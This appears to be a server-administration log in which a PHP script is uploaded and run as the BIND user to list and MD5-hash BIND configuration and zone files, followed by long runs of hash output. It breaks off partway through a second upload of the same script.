MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 92055efbed955a47809403a576bbf89c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:27:06: Establishing a connection
2026-02-09 15:27:07: 

PUT: /tmp/pkp839799

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:27:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp839799; rm /tmp/pkp839799'

2026-02-09 15:27:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 92055efbed955a47809403a576bbf89c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:27:38: Establishing a connection
2026-02-09 15:27:38: Establishing a connection
2026-02-09 15:27:38: 

PUT: /tmp/pkp474865

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
